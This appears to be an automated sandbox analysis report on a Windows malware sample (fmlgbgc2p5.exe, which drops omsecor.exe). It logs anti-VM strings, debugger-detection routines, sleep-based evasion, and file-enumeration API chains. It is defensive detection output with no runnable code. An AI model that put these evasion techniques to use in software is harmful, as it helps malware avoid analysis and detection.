Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_14-5814
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_2-5814
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_14-5814
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_2-5814
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_7-5813
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_7-5813

Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_13-3843
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_14-5876
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_4-3846
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_2-5876
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_0-3843
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_7-5875

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	API coverage: 8.6 %
Source: C:\Windows\SysWOW64\omsecor.exe	API coverage: 8.6 %
Source: C:\Windows\SysWOW64\omsecor.exe	API coverage: 8.6 %

Source: C:\Users\user\AppData\Roaming\omsecor.exe TID: 7456	Thread sleep time: -40000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe TID: 6308	Thread sleep time: -40000s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Roaming\omsecor.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_004012C0 FindFirstFileA,	0_2_004012C0
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040ABD9 FindFirstFileW,FindClose,	2_2_0040ABD9
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	2_2_00408248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_004012C0 FindFirstFileA,	4_2_004012C0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040ABD9 FindFirstFileW,FindClose,	7_2_0040ABD9
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	7_2_00408248
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_004012C0 FindFirstFileA,	13_2_004012C0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040ABD9 FindFirstFileW,FindClose,	14_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	14_2_00408248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_004012C0 FindFirstFileA,	16_2_004012C0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040ABD9 FindFirstFileW,FindClose,	18_2_0040ABD9
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	18_2_00408248
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_004012C0 FindFirstFileA,	23_2_004012C0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040ABD9 FindFirstFileW,FindClose,	24_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	24_2_00408248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_004012C0 FindFirstFileA,	26_2_004012C0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040ABD9 FindFirstFileW,FindClose,	28_2_0040ABD9
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	28_2_00408248

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000622000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334469520.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001C.00000002.2589585236.0000000000504000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001C.00000002.2589585236.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000622000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>Y6P
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: omsecor.exe, 00000012.00000002.2334469520.0000000000668000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW wl%SystemRoot%\system32\mswsock.dll#
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	API call chain: ExitProcess graph end node	graph_0-3547
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	API call chain: ExitProcess graph end node	graph_0-3844
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	API call chain: ExitProcess graph end node	graph_0-3857
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	API call chain: ExitProcess graph end node	graph_2-5904
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node	graph_4-3550
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node	graph_4-3860
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node	graph_4-3847
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node	graph_7-5903
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node	graph_13-3547
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node	graph_13-3844
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node	graph_13-3857
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node	graph_14-5904
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\omsecor.exe	API call chain: ExitProcess graph end node

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\omsecor.exe	Debugger detection routine: GetTickCount, GetTickCount, DecisionNodes, ExitProcess or Sleep	graph_14-6412
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Debugger detection routine: GetTickCount, GetTickCount, DecisionNodes, ExitProcess or Sleep	graph_2-6412
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Debugger detection routine: GetTickCount, GetTickCount, DecisionNodes, ExitProcess or Sleep	graph_7-6415

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 0_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00401662

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 0_2_00404854 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,__invoke_watson,GetProcAddress,GetProcAddress,__invoke_watson,

0_2_00404854

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 0_2_00421170 GetStartupInfoA,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,_fast_error_exit,___security_init_cookie,

0_2_00421170

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_00406A50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00406A50
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00401662
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_00404121 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00404121
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_0040213B SetUnhandledExceptionFilter,	0_2_0040213B
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	2_2_004032B8
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040CD66 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040CD66
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_00406A50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00406A50
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00401662
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_00404121 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00404121
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_0040213B SetUnhandledExceptionFilter,	4_2_0040213B
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	7_2_004032B8
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040CD66 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_0040CD66
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_00406A50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00406A50
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00401662
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_00404121 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00404121
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_0040213B SetUnhandledExceptionFilter,	13_2_0040213B
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	14_2_004032B8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040CD66 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0040CD66
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_00406A50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00406A50
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_00401662 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00401662
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_00404121 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00404121
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_0040213B SetUnhandledExceptionFilter,	16_2_0040213B
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	18_2_004032B8
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040CD66 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_0040CD66
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_00406A50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00406A50
